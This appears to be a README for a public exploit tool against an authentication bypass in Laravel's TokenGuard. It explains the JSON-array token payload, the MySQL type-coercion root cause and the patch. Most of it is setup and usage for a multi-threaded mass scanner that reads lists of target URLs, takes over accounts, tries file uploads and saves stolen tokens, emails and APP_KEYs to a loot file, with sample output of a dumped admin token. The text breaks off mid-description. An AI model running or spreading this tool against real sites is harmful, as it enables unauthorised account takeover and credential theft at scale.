
Laravel TokenGuard authentication bypass through non-string API credentials
Laravel TokenGuard authentication bypass through non-string API credentials
Unauthenticated Authentication Bypass in Laravel Framework β TokenGuard API Guard
CVE-2026-114509 is a critical authentication bypass vulnerability in Laravel Framework's built-in TokenGuard.
When configured with a standard token-based API guard on MySQL or MariaDB, an unauthenticated attacker can submit a crafted non-string credential (a JSON array) that causes the authentication lookup to match an unintended existing user β granting full access without knowing any valid API token.
This leads to complete account takeover on any route protected by the affected guard.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Affected Software | Laravel Framework (laravel/framework) |
| Affected Versions | < 12.68.0 and >= 13.0.0, < 13.29.0 |
| Type | Authentication Bypass |
| CWE | CWE-287 β Improper Authentication |
| CWE | CWE-1287 β Improper Validation of Specified Type of Input |
| CVSS 4.0 Score | 9.2 / 10 β CRITICAL |
| CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Authentication | None required (Pre-Auth) |
| Condition | MySQL / MariaDB backend |
| Patch | v12.68.0 / v13.29.0 |
| Metric | Value | Meaning |
|---|---|---|
| Attack Vector | Network | Exploitable remotely over the internet |
| Attack Complexity | Low | No special conditions beyond MySQL/MariaDB |
| Attack Requirements | Present | Requires MySQL/MariaDB type coercion behavior |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No victim action required |
| Confidentiality | High | Full read access to authenticated user data |
| Integrity | High | Can modify data as the bypassed user |
| Availability | High | Can disrupt service via account takeover |
This is a type confusion bug at the boundary between HTTP request parsing, PHP framework logic, and SQL database behavior. Three ordinary behaviors align to create the vulnerability:
TokenGuard accepts non-string input β The user() method in TokenGuard.php uses !empty($token) instead of is_string($token) && !empty($token). JSON request bodies can provide arrays or integers as the token value.
EloquentUserProvider builds a WHERE IN query β When retrieveByCredentials() receives an array value, it generates WHERE api_token IN (...) instead of WHERE api_token = ....
MySQL type coercion β MySQL converts string columns to numbers for comparison. Integer 0 matches any string that doesn't start with a digit (which is most API tokens), because MySQL casts those strings to 0.0.
JSON Body: {"api_token": [0]}
β
βΌ
TokenGuard::user()
β getTokenForRequest()
β !empty([0]) === true β Should reject non-string
β
βΌ
EloquentUserProvider::retrieveByCredentials()
β WHERE api_token IN (0) β Array becomes WHERE IN
β
βΌ
MySQL Type Coercion
β 0 == "wAWrHm..." β true β Int 0 matches any string token
β
βΌ
first() returns User #1
β check() === true
β Authentication Bypassed β
ββββββββββββββββββββββββββββ
β Attacker (No Creds) β
ββββββββββββββ¬ββββββββββββββ
β
β POST /api/user
β Content-Type: application/json
β {"api_token": [0]}
βΌ
ββββββββββββββββββββββββββββ
β Laravel Application β
β β
β TokenGuard::user() β
β β !empty([0]) = true β
β retrieveByCredentials() β
β β WHERE IN (0) β
β MySQL coercion β
β β 0 matches strings β
β Returns first user β
β β Authenticated β β
β β
ββββββββββββββ¬ββββββββββββββ
β
β 200 OK
β {"id":1, "name":"Admin",
β "email":"[email protected]",
β "api_token":"wAWrHm..."}
βΌ
ββββββββββββββββββββββββββββ
β Full Account Takeover β
β β’ User data exposed β
β β’ API token leaked β
β β’ Admin access possible β
ββββββββββββββββββββββββββββ
Laravel patched TokenGuard.php by adding a type check β if the token is not a string, the guard returns null immediately and never calls the user provider:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
The tool supports two modes: mass scan and single target deep probe.
Scan a list of targets for the vulnerability:
python CVE-2026-114509.py scan targets.txt
Options:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Flag | Default | Description |
|---|---|---|
targets | (required) | File with target URLs (one per line) |
--threads | 60 | Number of concurrent threads |
--timeout | 12 | Request timeout in seconds |
Target file format (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Targets without a scheme default to
https://.
Output files (created in script directory):
| File | Contents |
|---|---|
LV_DETECTED.txt | All detected Laravel applications |
LV_BYPASS.txt | Confirmed authentication bypasses |
LV_UPLOAD.txt | Upload attempt results |
LV_LOOT.txt | Extracted data (tokens, emails, APP_KEYs, user data) |
Deep probe a single target with verbose output:
python CVE-2026-114509.py single https://target.com
Options:
python CVE-2026-114509.py single https://target.com --timeout 15
This runs all four phases sequentially with detailed output:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401
Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
SUCCESS /api/user [POST] [api_token=[0]]
id: 1
name: Admin
email: [email protected]
api_token: wAWrHmHkVV...
Phase 3: Post-Exploitation...
users-list /api/users -> count=15
panel:nova /nova/api/dashboards
Phase 4: File Upload (52 routes)...
Summary:
Laravel: Yes (3 signals)
Bypass: Yes
Upload: 0 attempts, 0 verified
The tool executes a 4-phase chain: